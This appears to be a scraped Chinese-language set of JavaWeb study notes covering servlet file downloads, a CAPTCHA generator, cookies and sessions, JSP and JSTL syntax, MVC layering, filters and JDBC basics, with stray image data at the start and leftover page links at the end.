u1NofJ+1Up2vBjjcB7ASaLZI6q2v2LI/rWU0xfrtLdQ1ejNf7XTbmyp7eZE9ypIdICsrjIJ4RAewh0Gzh20QXEqQMgLsQaML8TXUCwB2Jq87tEvh3/Fw4wgDQi7jqBAAIC+oEAHCDOgEA3KBOAAA3qDMW3v/ucXQlFxZwL7oM15mnXu+Fs18l0Oigzmh/o355Afdi53Cd/80u1LmHQKODOtvU2esSr34r9CD2fB8/FB3VeQRXnd/fSqCxQ51tlzLqDALq/FMEGjvUuchXc/FTMOWDUddnplJwKn2VXqnH24WxfkuSLKZtHLJdjMdbLdXeoyXP+q2xCyV5MYmS1j6eep1Skm3+7Qspft0iHYUyFJaD+khljDsB1PlN8Xzb31oCpH71StZXpyt/3/rt8Q3j4D3eLuMjhen9St258kvH4q1H6XRbp/d8SQdrid/Trw7qDIr0K7Eq1mKLt8diS3Zp2n9R6wHS1ubj9TrFUoklf/P4SL0blW3Eq8Iu11VxF2l8Oo6/pb1ajw7qjItRAdWr09ud1NKsJL0eqf5qGZYA1zgcNHWNxFfn4r+uqifXkr+XOo35jaDOQLRNxeqJb77K+6qhmtYY4I2vtnt3/MvqdAVIMd4LsqM6LfFGUGcg2i6FZpXoezXXU818qDrXNxQN41DUk0VhO/sthkVT587xrOaxtB9xN6q0K8eIOgORPpE2STta8lgKyJLob43zx1X/dpfi1mL8emvbOHjHf9uvHq/0aOm37aCyUreHuR3AbReurvVgV35Xnobj0usRD1A//jNBnQCwparpSwhUE+oEgAzjTe75BCoIdQLAXUCdAABuUCcAgBvUCQDgBnUCALhJMwAAOEnPMMzzfHUJAAAmWLADALhBnQAAbr4AWdWpW2F4mXgAAAAASUVORK5CYII=)]

    2、常见应用

    1. 向浏览器输出消息
    2. 下载文件
      1. 要获取下载文件路径
      2. 下载的文件名是啥
      3. 设置想办法让浏览器能够支持下载我们需要的东西
      4. 获取下载文件的输入流
      5. 创建缓冲区
      6. 获取OutPutStream对象
      7. 将FileOutPutStream流写入到buffer缓冲区
      8. 使用OutPutStream将缓冲区中的数据输出到客户端
    1 package gacl.response.study;
     2 import java.io.FileInputStream;
     3 import java.io.FileNotFoundException;
     4 import java.io.FileReader;
     5 import java.io.IOException;
     6 import java.io.InputStream;
     7 import java.io.OutputStream;
     8 import java.io.PrintWriter;
     9 import java.net.URLEncoder;
    10 import javax.servlet.ServletException;
    11 import javax.servlet.http.HttpServlet;
    12 import javax.servlet.http.HttpServletRequest;
    13 import javax.servlet.http.HttpServletResponse;
    14 /**
    15  * @author gacl
    16  * 文件下载
    17  */
    18 public class ResponseDemo02 extends HttpServlet {
    19 
    20     public void doGet(HttpServletRequest request, HttpServletResponse response)
    21             throws ServletException, IOException {
    22         downloadFileByOutputStream(response);//下载文件,通过OutputStream流
    23     }
    24 
    25     /**
    26      * 下载文件,通过OutputStream流
    27      * @param response
    28      * @throws FileNotFoundException
    29      * @throws IOException
    30      */
    31     private void downloadFileByOutputStream(HttpServletResponse response)
    32             throws FileNotFoundException, IOException {
    33         //1.获取要下载的文件的绝对路径
    34         String realPath = this.getServletContext().getRealPath("/download/1.JPG");
    35         //2.获取要下载的文件名
    36         String fileName = realPath.substring(realPath.lastIndexOf("\\")+1);
    37         //3.设置content-disposition响应头控制浏览器以下载的形式打开文件
    38         response.setHeader("content-disposition", "attachment;filename="+fileName);
    39         //4.获取要下载的文件输入流
    40         InputStream in = new FileInputStream(realPath);
    41         int len = 0;
    42         //5.创建数据缓冲区
    43         byte[] buffer = new byte[1024];
    44         //6.通过response对象获取OutputStream流
    45         OutputStream out = response.getOutputStream();
    46         //7.将FileInputStream流写入到buffer缓冲区
    47         while ((len = in.read(buffer)) > 0) {
    48         //8.使用OutputStream将缓冲区的数据输出到客户端浏览器
    49             out.write(buffer,0,len);
    50         }
    51         in.close();
    52     }
    53 
    54     public void doPost(HttpServletRequest request, HttpServletResponse response)
    55             throws ServletException, IOException {
    56         doGet(request, response);
    57     }
    58 }
    

    下载中文文件时,需要注意的地方就是中文文件名要使用URLEncoder.encode方法进行编码(URLEncoder.encode(fileName, “字符编码”)),否则会出现文件名乱码。

    1 package gacl.response.study;
     2 import java.io.FileInputStream;
     3 import java.io.FileNotFoundException;
     4 import java.io.FileReader;
     5 import java.io.IOException;
     6 import java.io.InputStream;
     7 import java.io.OutputStream;
     8 import java.io.PrintWriter;
     9 import java.net.URLEncoder;
    10 import javax.servlet.ServletException;
    11 import javax.servlet.http.HttpServlet;
    12 import javax.servlet.http.HttpServletRequest;
    13 import javax.servlet.http.HttpServletResponse;
    14 /**
    15  * @author gacl
    16  * 文件下载
    17  */
    18 public class ResponseDemo02 extends HttpServlet {
    19 
    20     public void doGet(HttpServletRequest request, HttpServletResponse response)
    21             throws ServletException, IOException {
    22         downloadChineseFileByOutputStream(response);//下载中文文件
    23     }
    24 
    25     /**
    26      * 下载中文文件,中文文件下载时,文件名要经过URL编码,否则会出现文件名乱码
    27      * @param response
    28      * @throws FileNotFoundException
    29      * @throws IOException
    30      */
    31     private void downloadChineseFileByOutputStream(HttpServletResponse response)
    32             throws FileNotFoundException, IOException {
    33         String realPath = this.getServletContext().getRealPath("/download/张家界国家森林公园.JPG");//获取要下载的文件的绝对路径
    34         String fileName = realPath.substring(realPath.lastIndexOf("\\")+1);//获取要下载的文件名
    35         //设置content-disposition响应头控制浏览器以下载的形式打开文件,中文文件名要使用URLEncoder.encode方法进行编码,否则会出现文件名乱码
    36         response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(fileName, "UTF-8"));
    37         InputStream in = new FileInputStream(realPath);//获取文件输入流
    38         int len = 0;
    39         byte[] buffer = new byte[1024];
    40         OutputStream out = response.getOutputStream();
    41         while ((len = in.read(buffer)) > 0) {
    42             out.write(buffer,0,len);//将缓冲区的数据输出到客户端浏览器
    43         }
    44         in.close();
    45     }
    46     
    47     public void doPost(HttpServletRequest request, HttpServletResponse response)
    48             throws ServletException, IOException {
    49         doGet(request, response);
    50     }
    51 }
    
    

    文件下载注意事项:编写文件下载功能时推荐使用OutputStream流,避免使用PrintWriter流,因为OutputStream流是字节流,可以处理任意类型的数据,而PrintWriter流是字符流,只能处理字符数据,如果用字符流处理字节数据,会导致数据丢失。

    3、验证码功能

    验证怎么来的?

    • 前端实现
    • 后端实现,需要用到java的图片类,生成一个图片

    这个可以当做一个工具类来使用,不必自己写出来,要用的时候复制,然后可以局部的改改代码,就可以变成另外的验证码了。

    public class ResponseDemo4 extends HttpServlet {
    
        public static final int WIDTH = 120; // 生成的图片的宽度
        public static final int HEIGHT = 35; // 生成的图片的高度
    
        protected void doGet(HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException {
    
            // 在内存中创建一张图片
            BufferedImage image = new BufferedImage(WIDTH, HEIGHT, BufferedImage.TYPE_INT_RGB);
            // 得到图片
            Graphics g = image.getGraphics();
    
            // 1.设置图片的背景色
            setBackGround(g);
    
            // 2.设置图片的边框
            setBorder(g);
    
            // 3.在图片上画干扰线
            drawRandomLine(g);
    
            // 4.在图片上写随机数
            String random = drawRandomNum((Graphics2D) g);
            request.getSession().setAttribute("checkcode", random); // 将随机数存在session中
    
            /*
             * 5.图形写给浏览器
             */
            response.setContentType("image/jpeg")
            // 发响应头控制浏览器不要缓存图片
            response.setDateHeader("expries", -1);
            response.setHeader("Cache-Control", "no-cache");
            response.setHeader("Pragma", "no-cache");
            ImageIO.write(image, "jpg", response.getOutputStream());
    
        }
    
        /*
         * 设置图片的背景色
         */
        private void setBackGround(Graphics g) {
            // 设置颜色
            g.setColor(Color.WHITE);
            // 填充区域
            g.fillRect(0, 0, WIDTH, HEIGHT);
        }
    
        /*
         * 设置图片的边框
         */
        private void setBorder(Graphics g) {
            // 设置边框颜色
            g.setColor(Color.BLUE);
            // 边框区域
            g.drawRect(1, 1, WIDTH-2, HEIGHT-2);
        }
    
        /*
         * 在图片上画干扰线
         */
        private void drawRandomLine(Graphics g) {
            // 设置颜色
            g.setColor(Color.GREEN);
            // 设置线条个数并画线
            for(int i=0;i<5;i++) {
                // 生成干扰线随机的起始坐标
                int x1 = new Random().nextInt(WIDTH); // 生成0~WIDTH(不包括WIDTH)的随机数
                int y1 = new Random().nextInt(HEIGHT);
    
                // 生成干扰线随机的结束坐标
                int x2 = new Random().nextInt(WIDTH);
                int y2 = new Random().nextInt(HEIGHT);
    
                g.drawLine(x1, y1, x2, y2);
            }
        }
    
        /*
         * 在图片上写随机数
         */
        private String drawRandomNum(Graphics2D g) {
            // 设置颜色
            g.setColor(Color.RED);
            // 设置字体
            g.setFont(new Font("宋体", Font.BOLD, 20));
            // 常用的中国汉字(汉字区间:[\u4e00-\u9fa5])
            String base = "\u7684\u4e00\u4e86\u662f\u6211\u4e0d\u5728\u4eba\u4eec\u6709\u6765\u4ed6\u8fd9\u4e0a\u7740\u4e2a\u5730\u5230\u5927\u91cc\u8bf4\u5c31\u53bb\u5b50\u5f97\u4e5f\u548c\u90a3\u8981\u4e0b\u770b\u5929\u65f6\u8fc7\u51fa\u5c0f\u4e48\u8d77\u4f60\u90fd\u628a\u597d\u8fd8\u591a\u6ca1\u4e3a\u53c8\u53ef\u5bb6\u5b66\u53ea\u4ee5\u4e3b\u4f1a\u6837\u5e74\u60f3\u751f\u540c\u8001\u4e2d\u5341\u4ece\u81ea\u9762\u524d\u5934\u9053\u5b83\u540e\u7136\u8d70\u5f88\u50cf\u89c1\u4e24\u7528\u5979\u56fd\u52a8\u8fdb\u6210\u56de\u4ec0\u8fb9\u4f5c\u5bf9\u5f00\u800c\u5df1\u4e9b\u73b0\u5c71\u6c11\u5019\u7ecf\u53d1\u5de5\u5411\u4e8b\u547d\u7ed9\u957f\u6c34\u51e0\u4e49\u4e09\u58f0\u4e8e\u9ad8\u624b\u77e5\u7406\u773c\u5fd7\u70b9\u5fc3\u6218\u4e8c\u95ee\u4f46\u8eab\u65b9\u5b9e\u5403\u505a\u53eb\u5f53\u4f4f\u542c\u9769\u6253\u5462\u771f\u5168\u624d\u56db\u5df2\u6240\u654c\u4e4b\u6700\u5149\u4ea7\u60c5\u8def\u5206\u603b\u6761\u767d\u8bdd\u4e1c\u5e2d\u6b21\u4eb2\u5982\u88ab\u82b1\u53e3\u653e\u513f\u5e38\u6c14\u4e94\u7b2c\u4f7f\u5199\u519b\u5427\u6587\u8fd0\u518d\u679c\u600e\u5b9a\u8bb8\u5feb\u660e\u884c\u56e0\u522b\u98de\u5916\u6811\u7269\u6d3b\u90e8\u95e8\u65e0\u5f80\u8239\u671b\u65b0\u5e26\u961f\u5148\u529b\u5b8c\u5374\u7ad9\u4ee3\u5458\u673a\u66f4\u4e5d\u60a8\u6bcf\u98ce\u7ea7\u8ddf\u7b11\u554a\u5b69\u4e07\u5c11\u76f4\u610f\u591c\u6bd4\u9636\u8fde\u8f66\u91cd\u4fbf\u6597\u9a6c\u54ea\u5316\u592a\u6307\u53d8\u793e\u4f3c\u58eb\u8005\u5e72\u77f3\u6ee1\u65e5\u51b3\u767e\u539f\u62ff\u7fa4\u7a76\u5404\u516d\u672c\u601d\u89e3\u7acb\u6cb3\u6751\u516b\u96be\u65e9\u8bba\u5417\u6839\u5171\u8ba9\u76f8\u7814\u4eca\u5176\u4e66\u5750\u63a5\u5e94\u5173\u4fe1\u89c9\u6b65\u53cd\u5904\u8bb0\u5c06\u5343\u627e\u4e89\u9886\u6216\u5e08\u7ed3\u5757\u8dd1\u8c01\u8349\u8d8a\u5b57\u52a0\u811a\u7d27\u7231\u7b49\u4e60\u9635\u6015\u6708\u9752\u534a\u706b\u6cd5\u9898\u5efa\u8d76\u4f4d\u5531\u6d77\u4e03\u5973\u4efb\u4ef6\u611f\u51c6\u5f20\u56e2\u5c4b\u79bb\u8272\u8138\u7247\u79d1\u5012\u775b\u5229\u4e16\u521a\u4e14\u7531\u9001\u5207\u661f\u5bfc\u665a\u8868\u591f\u6574\u8ba4\u54cd\u96ea\u6d41\u672a\u573a\u8be5\u5e76\u5e95\u6df1\u523b\u5e73\u4f1f\u5fd9\u63d0\u786e\u8fd1\u4eae\u8f7b\u8bb2\u519c\u53e4\u9ed1\u544a\u754c\u62c9\u540d\u5440\u571f\u6e05\u9633\u7167\u529e\u53f2\u6539\u5386\u8f6c\u753b\u9020\u5634\u6b64\u6cbb\u5317\u5fc5\u670d\u96e8\u7a7f\u5185\u8bc6\u9a8c\u4f20\u4e1a\u83dc\u722c\u7761\u5174\u5f62\u91cf\u54b1\u89c2\u82e6\u4f53\u4f17\u901a\u51b2\u5408\u7834\u53cb\u5ea6\u672f\u996d\u516c\u65c1\u623f\u6781\u5357\u67aa\u8bfb\u6c99\u5c81\u7ebf\u91ce\u575a\u7a7a\u6536\u7b97\u81f3\u653f\u57ce\u52b3\u843d\u94b1\u7279\u56f4\u5f1f\u80dc\u6559\u70ed\u5c55\u5305\u6b4c\u7c7b\u6e10\u5f3a\u6570\u4e61\u547c\u6027\u97f3\u7b54\u54e5\u9645\u65e7\u795e\u5ea7\u7ae0\u5e2e\u5566\u53d7\u7cfb\u4ee4\u8df3\u975e\u4f55\u725b\u53d6\u5165\u5cb8\u6562\u6389\u5ffd\u79cd\u88c5\u9876\u6025\u6797\u505c\u606f\u53e5\u533a\u8863\u822c\u62a5\u53f6\u538b\u6162\u53d4\u80cc\u7ec6";
    
            StringBuffer sb = new StringBuffer();
            int x = 5;
            // 控制字数
            for(int i=0;i<4;i++) {
    
                int degree = new Random().nextInt()%30; //生成-30-30范围的随机数
    
                String ch = base.charAt(new Random().nextInt(base.length()))+"";
                sb.append(ch);
                // 写入字之前,设置好旋转
                g.rotate(degree*Math.PI/180, x, 20); // 设置字体旋转角度
                g.drawString(ch, x, 20);
                // 这次旋转不能影响下一次的旋转,所以要将上一次的旋转清掉,转回去
                g.rotate(-degree*Math.PI/180, x, 20);
                x+=30;
            }
            return sb.toString();
        }
    
        protected void doPost(HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException {
            doGet(request, response);
        }
    
    }
    
    4,设置响应头控制浏览器的行为

    1,定时刷新页面

    response.setHeader("refresh", "5");//设置refresh响应头控制浏览器每隔5秒钟刷新一次
    

    2,禁止缓存当前文档内容

    response.setDateHeader("expries", -1);
    
    response.setHeader("Cache-Control", "no-cache");
    
    response.setHeader("Pragma", "no-cache");
    

    6.7、HttpServletRequest

    HttpServletRequest代表客户端的请求,用户通过Http协议访问服务器,Http请求中的所有信息会被封装到HttpServletRequest,通过HttpServletRequest的方法,获得客户端的所有信息。

    1、获取前端传递的参数、请求转发

    参考博客:https://www.iteye.com/blog/sihailoveyan-2430052

    面试题:请你聊聊重定向和转发的区别?

    相同点:

    • 页面都会实现跳转

    不同点:

    • 请求转发的时候,url不会产生变化:307
    • 重定向的时候,url地址栏会发生变化:302

    7、Cookie、Session

    7.1、会话

    会话:用户打开一个浏览器。点击了很多超链接,访问多个web资源,关闭浏览器,这个过程可以称之为会话

    有状态会话:一个同学来过教室,下次再来教室,我们会知道这个同学曾经来过,称之为有状态会话;

    7.2、保存会话的两种技术

    Cookie

    • 客户端技术 (响应,请求)

    Session

    • 服务器技术,利用这个技术,可以保存用户的会话信息;我们可以把信息或者数据放在session中!

    常见场景:网站登陆之后,你下次不用再登陆了,第二次访问直接就上去了;

    7.3、Cookie

    1. 从请求中拿到cookie信息
    2. 服务器响应给客户端cookie
    Cookie[] cookies = req.getCookies();//获得cookie
    cookie.getName()//获得cookie的key
    cookie.getValue()//获得cookie中的值
    new Cookie("lastLoginTime",System.currentTimeMillis()+"");//新建一个cookie
    cookie.setMaxAge(24*60*60);//设置cookie的有效期
    resp.addCookie(cookie1);//响应给客户端一个cookie
    
    

    cookie:一般会保存在本地用户目录下的appdata下;

    一个网站cookie是否存在上限!聊聊细节问题

    • 一个cookie只能保存一个信息;
    • 一个web站点可以给浏览器发送多个cookie;
    • 300个cookie浏览器上限;
    • cookie大小有限制4kb;

    删除cookie:

    • 不设置有效期,关闭浏览器,自动失效;
    • 设置有限期时间为0;

    7.4、Session(重点)

    什么是Session:

    • 服务器会给每一个用户(浏览器)创建一个Session对象
    • 一个Session独占一个浏览器,只要浏览器没有关闭,这个Session就存在;
    • 用户登陆之后,整个网站它都可以访问—>保存用户的信息,保存购物车的信息…

    Session和Cookie的区别:

    • Cookie是把用户的数据写给用户的浏览器,浏览器保存(可以保存多个)
    • Session是把用户的数据写到用户独占Session中,服务端保存(保存重要的信息,减少服务器资源的浪费)
    • Session对象由服务器创建;

    使用场景:

    • 保存一个用户登录信息;
    • 购物车信息;
    • 在整个网站中,经常会使用的数据我们将它保存在session中

    登录页面代码实现:

    SessionId: <%= session.getId() %>
        <br/><br/>
        
        isCreateNew:<%= session.isNew() %>
        <br/><br/>
        
        maxInActiveInterval:<%= session.getMaxInactiveInterval() %>
        <br/><br/>
        
        CreatedTime:<%= session.getCreationTime() %>
        <br/><br/>
        
        lastAccessedTime: <%= session.getLastAccessedTime() %>
        <br/><br/>
        
        <%
            Object username = session.getAttribute("username");
            if(username == null){
                username = "";
            }
        %>
        <form action="<%= response.encodeURL("loginSuccess.jsp") %>" method="post">
            username: <input type="text" name="username" value="<%= username%>"/><br/>
            <input type="submit" value="登录"/>
        </form>
    

    登录成功页面:

    SessionId: <%= session.getId() %>
        <br/><br/>
        
        isCreateNew:<%= session.isNew() %>
        <br/><br/>
        
        maxInActiveInterval:<%= session.getMaxInactiveInterval() %>
        <br/><br/>
        
        CreatedTime:<%= session.getCreationTime() %>
        <br/><br/>
        
        lastAccessedTime: <%= session.getLastAccessedTime() %>
        <br/><br/>
        
        Hello: <%= request.getParameter("username") %>
        <br/><br/>
        
        <%
            //将username存储于session之中,便于在整个会话过程中记住当前user;
            // 当然服务器端可以找到session还是通过cookie(URL重写)在客户端和服务器端传递JSESSIONID
            session.setAttribute("username", request.getParameter("username"));
        %>
        
    
            <!-- 
            
                cookie被禁用的情况下使用url重写的方式传递JSSESSIONID;
                重写使用:response.encodeURL或response.encodeRedirectURL()都行
            -->
            
    
        <a href="<%= response.encodeURL("login.jsp") %>">重新登录</a>
        <a href="<%= response.encodeURL("loginOut.jsp") %>">注销</a>
        
    

    注销:

    SessionId: <%= session.getId() %>
        <br/><br/>
        
        isCreateNew:<%= session.isNew() %>
        <br/><br/>
        
        maxInActiveInterval:<%= session.getMaxInactiveInterval() %>
        <br/><br/>
        
        CreatedTime:<%= session.getCreationTime() %>
        <br/><br/>
        
        lastAccessedTime: <%= session.getLastAccessedTime() %>
        <br/><br/>
        
        ByeBye: <%= session.getAttribute("username") %>
        <br/><br/>
        
        <%
            //注销session
            session.invalidate();
        %>
        
        <a href="login.jsp">重新登录</a>
        
    

    8、JSP

    8.1、什么是JSP

    Java Server Pages :Java服务器端页面,也和Servlet一样,用于动态Web技术;

    最大的特点:

    • 写JSP就像在写HTML
    • 区别:
      • HTML只给用户提供静态数据
      • JSP中可以嵌入Java代码,为用户提供动态数据;

    8.2、JSP原理

    思路:JSP到底是怎么执行的?

    • 代码层面没有任何问题
    • 服务器内部工作
      • Tomcat中有一个work目录
      • IDEA中使用Tomcat的会在IDEA的Tomcat中产生一个work目录

    点进去发现jsp页面转变成了Java程序;

    浏览器向服务器发送请求,不管访问什么资源,其实都是在访问Servlet;

    JSP最终也会转换成为JAVA类!

    JSP本质上是个Servlet

    运行原理:

    当第一次访问jsp页面时,会向一个servlet容器(tomcat等)发出请求,servlet容器先要把 jsp页面转化为servlet代码(.java),再编译成.class 文件 再进行调用。当再次访问jsp页面时 跳过翻译和编译的过程 直接调用

    执行过程:

    1、 客户端发出请求

          2、web容器将jsp转化为servlet代码(.java)
    
          3、web容器将转化为servlet代码编译(.class)
    
          4、web容器加载编译后的代码并执行
    
          5、将执行结果响应给客户端
    

    img

    在jsp中:

    只要是Java代码就会原封不动的输出;

    如果树Html代码,就会被转换为:

    out.write("<html>\r\n");
    

    这样的格式输出出来;

    8.3、JSP基础语法

    任何语言都有自己的语法,java中有,那jsp作为java技术的一种应用,它拥有一些自己扩充的语法(了解即可),java所有语法都支持!

    JSP表达式:

    <%--  JSP表达式
           作用:用来将程序的输出到客户端
           <%= 变量或者表达式%>--%>
    <%= new java.util.Date()%>
    
    

    jsp脚本片段:

    <%--  jsp脚本片段--%>
    <%
      int sum = 0;
      for (int i = 0; i <= 100; i++) {
        sum+=i;
    
      }
      out.println("<h1>"+"Sum="+sum+"<h1>");
    %>
    
    

    脚本片段的再实现:

    <%
      int x = 10;
      out.println(x);
    %>
    <p>这是一个jsp文档</p>
    
    <%
      int y = 20;
      out.println(y);
    %>
    <hr>
    
    <%-- 在代码中嵌入html元素 --%>
    
    <%
      for (int i = 0; i < 5; i++) {
    
    %>
    <h1>Hello,World<%=i%></h1>
    <%
      }
    %>
    

    JSP声明:

    <%!
        static {
          System.out.println("Loading Servlet!");
        }
    
        private int globalVar = 0;
    
        public  void yuan(){
          System.out.println("进入了方法yuan!");
        }
    %>
    

    JSP声明:会被编译到jsp生成的java的类中!其他的,就会被生成到_jspService方法中!

    在jsp中嵌入java代码中即可!

    <% %>
    <%=  %>
    <%!  %>
    <%----%>
    

    jsp的注释,不会在客户端显示,html的注释会被显示;

    8.4、JSP指令

    <%@ page … %> 定义网页依赖属性,比如脚本语言、error页面、缓存需求等等
    <%@ include … %> 包含其他文件
    <%@ taglib … %> 引入标签库的定义

    参考博客:https://www.runoob.com/jsp/jsp-directives.html

    8.5、9大内置对象

    • PageContext 存东西
    • Request 存东西
    • Response
    • Session 存东西
    • Application 【ServletContext】 存东西
    • config 【ServletConfig】
    • out
    • page,不用了解
    • exception
    <%
    
    
        pageContext.setAttribute("name1","智能1号");//保存的数据只在一个页面中有效
        request.setAttribute("name2","智能2号");//保存的数据只在一次请求中有效,请求转发会携带这个参数
        session.setAttribute("name3","智能3号");//保存的数据只在一次回话中有效,从打开浏览器到关闭浏览器
        application.setAttribute("name4","智能4号");//保存的数据只在服务器中有效,从打开服务器到关闭服务器
    
    
    %>
    

    Request:客户端向服务器发送请求,产生的数据,用户看完就没用了,比如:新闻,用户看完就没用了;

    Session:客户端向服务器发送请求,产生的数据,用户用完一会儿还有用,比如:购物车;

    Application:客户端向服务器发送请求,产生的数据,一个用户用完其他用户还可能使用,比如:聊天数据;

    8.6、JSP标签、JSTL标签、EL表达式

    要导入的配置:

     <!-- https://mvnrepository.com/artifact/javax.servlet.jsp.jstl/jstl-api -->
            <dependency>
                <groupId>javax.servlet.jsp.jstl</groupId>
                <artifactId>jstl-api</artifactId>
                <version>1.2</version>
            </dependency>
    
            <!-- https://mvnrepository.com/artifact/taglibs/standard -->
            <dependency>
                <groupId>taglibs</groupId>
                <artifactId>standard</artifactId>
                <version>1.1.2</version>
            </dependency>
    

    EL表达式:${}

    • 获取数据
    • 执行运算
    • 获取web开发的常用对象
    • 调用java方法(不用)

    JSP标签:

    <%--http://localhost:8080/jsptag.jsp?name=yuan&age=12--%>
    <h1>1</h1>
    <jsp:forward page="/jsptag2.jsp">
        <jsp:param name="name" value="yuan"/>
        <jsp:param name="age" value="12"/>
    </jsp:forward>
    

    JSTL表达式:

    参考博客:https://www.runoob.com/jsp/jsp-jstl.html

    JSTL标签库的使用就是为了弥补HTML标签的不足,他自定义了许多标签,可以供我们使用,标签的功能和java代码一样!

    核心标签(掌握部分):

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bTJFiZiQ-1579000970418)(/Users/mac/Library/Application Support/typora-user-images/image-20191227140120234.png)]

    JSTL标签使用步骤:

    • 引入对应的taglib
    • 使用其中的方法
    • 在tomcat中也需要引入jstl的包,否则会报错:JSTL解析错误

    9、JavaBean

    实体类

    JavaBean有特定的写法:

    • 必须要有一个无参构造
    • 属性必须私有化
    • 必须有对应的get/set方法

    一般用来和数据库的字段做映射 ORM

    ORM:对象关系映射

    • 数据库的表---->Java的类
    • 字段---->属性
    • 行记录---->对象

    10、MVC三层架构

    10.1、三层架构

    参考博客:https://www.jianshu.com/p/731d027b2d91

    什么是MVC:Model View Controller 模型、视图、控制器

    约定:

    • Servlet和JSP都可以写Java代码:为了易于维护和使用

    • Servlet专注于处理请求,以及控制视图跳转

    • JSP专注于显示数据

    控制器:Controller Servlet :

    • 接受用户的请求
    • 响应给客户端内容(交给业务层去做)
    • 重定向或者转发(视图跳转)

    View:视图层:JSP

    • 展示数据模型
    • 提供用户操作

    数据库:

    • 增删改查

    JavaBean

    • pojo
    • entity…

    Service:

    • login登录
    • logout注销
    • 查询全部用户

    img

    Model

    • 业务处理:业务逻辑(Service)
    • 数据持久层:CRUD(Dao)

    View:

    • 展示数据
    • 提供链接发起Servlet请求(a,form,img…)

    Controller:

    • 接收用户的请求:(req:请求参数、session信息…)
    • 交给业务层处理对应的代码
    • 控制视图的跳转
    登录--->接收用户的登录请求---->处理用户的请求(获取用户登录的参数;username,password)---->交给业务层处理登录业务(判断用户名密码是否正确:事务)---->Dao层查询用户名和密码是否正确---->数据库
    

    10.2、早些年架构

    用户直接访问控制层,控制层就可以直接访问数据库;

    servlet---->CRUB(增删改查)---->数据库
      弊端:程序十分臃肿,不利于维护    servlet的代码中:处理请求、响应、视图跳转、处理JDBC、处理业务代码、处理逻辑代码
      
     架构:没有什么是加一层解决不了的!如果不行,再加一层!
      程序员调用:
      JDBC
      操作:
      MySQL、Oracle、SQLServer....
    

    11、Filter(重点)

    Filter:过滤器,用来过滤网站的数据;

    • 处理中文乱码
    • 登录验证

    Filter开发步骤

    1. 导包
    2. 编写过滤器
      • 必须导这个Filter包

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R5fcci8N-1579000970419)(/Users/mac/Library/Application Support/typora-user-images/image-20191227230432833.png)]

    ​ 实现Filter接口,重写对应的接口即可

    package com.yuan.filter;
    
    import javax.servlet.*;
    import java.io.IOException;
    
    public class CharacterEncodingFilter implements Filter {
    
        //初始化
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("CharacterEncodingFilter已经初始化了");
    
        }
    
    //    1.过滤器中的所有代码,在过滤特定请求的时候都会执行
    //    2.必须要让过滤器继续执行
     //   filterChain.doFilter(servletRequest,servletResponse);
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    
            servletRequest.setCharacterEncoding("utf-8");
            servletResponse.setCharacterEncoding("utf-8");
            servletResponse.setContentType("text/html;charset=UTF-8");
    
            System.out.println("CharacterEncodingFilter执行前.....");
    
            filterChain.doFilter(servletRequest,servletResponse);//让我们的请求继续走,如果不写,程序到这里就被拦截停止
    
            System.out.println("CharacterEncodingFilter执行后.....");
        }
        //web服务器关闭的时候,过滤器才会销毁
        public void destroy() {
            System.out.println("CharacterEncodingFilter已经销毁了");
    
        }
    }
    
    

    配置:

     <filter>
            <filter-name>CharacterEncodingFilter</filter-name>
            <filter-class>com.yuan.filter.CharacterEncodingFilter</filter-class>
        </filter>
    <!--    只要是/Servlet的任何请求,都会经过这个过滤器-->
        <filter-mapping>
            <filter-name>CharacterEncodingFilter</filter-name>
            <url-pattern>/Servlet/*</url-pattern>
        </filter-mapping>
    

    12、监听器

    实现一个监听器的接口;(有N种)

    1. 编写一个监听器

      实现监听器的接口

    2. web.xml中配置监听器

    3. 看情况是否使用!

    13、过滤器、监听器的常见应用

    监听器:GUI编程中经常使用

    统一编码,统一用户认证,屏蔽非法文字,进行响应数据压缩等。

    用户登陆之后才能进入主页!用户注销后就不能进入主页了!、

    1. 用户登陆之后,向Session中放入用户的数据;
    2. 进入主页的时候要判断用户是否已经登陆;要求:在过滤器中实现;

    14、JDBC

    什么是JDBC:java链接数据库

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nTWsMSv8-1579000970419)(/Users/mac/Library/Application Support/typora-user-images/截屏2020-01-12上午11.25.41.png)]

    需要jar包支持:

    • java.sql
    • Javax.sql
    • Mysql-connect-java…(连接驱动必须要的)

    实验环境搭建:

    导入数据库依赖:

     <dependency>
                <groupId>mysql</groupId>
                <artifactId>mysql-connector-java</artifactId>
                <version>5.1.47</version>
            </dependency>
    

    IDEA中连接数据库:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-v15mL8SO-1579000970420)(/Users/mac/Library/Application Support/typora-user-images/image-20200112123822766.png)]

    JDBC固定步骤:

    1. 加载驱动
    2. 连接数据库,代表数据库
    3. 向数据库发送SQL的对象Statement : CRUD
    4. 编写SQL(根据业务,不同的SQL)
    5. 执行SQL
    6. 关闭连接

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d7hp488g-1579000970420)(/Users/mac/Library/Application Support/typora-user-images/image-20200112124228750.png)]

    事务:

    要么都成功,要么都失败!

    ACID原则:保证数据的安全。

    开启事务
    事务提交  commit()
    事务回滚  rollback()
    关闭事务
    
    转账:
    A:1000
    B:1000
    
    A(900)---100--->B(1100)
    

    Junit单元测试:

    依赖:

    <!--单元测试-->
            <dependency>
                <groupId>junit</groupId>
                <artifactId>junit</artifactId>
                <version>4.12</version>
                <scope>test</scope>
            </dependency>
    

    简单使用:

    @Test注解只有在方法上有效,只要加了这个注解的方法,就可以直接运行!

        @Test
        public void test(){
            System.out.println("Hello World");
        }
    

    成功提示绿色,失败提示红色!

    搭建一个环境测试一波事务!

    展开全文
  • 黑客完全修炼手册(收藏)

    万次阅读 多人点赞 2008-09-25 15:21:00
    <!--google_ad_client = "pub-4382955739270299";/* 468x15, 创建于 08-9-5 */google_ad_slot = "2818501739";google_ad_width = 468;google_ad_height = 15;//-->第一节、黑客的种类和行为 以我的理解,“黑
    <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>

    第一节、黑客的种类和行为
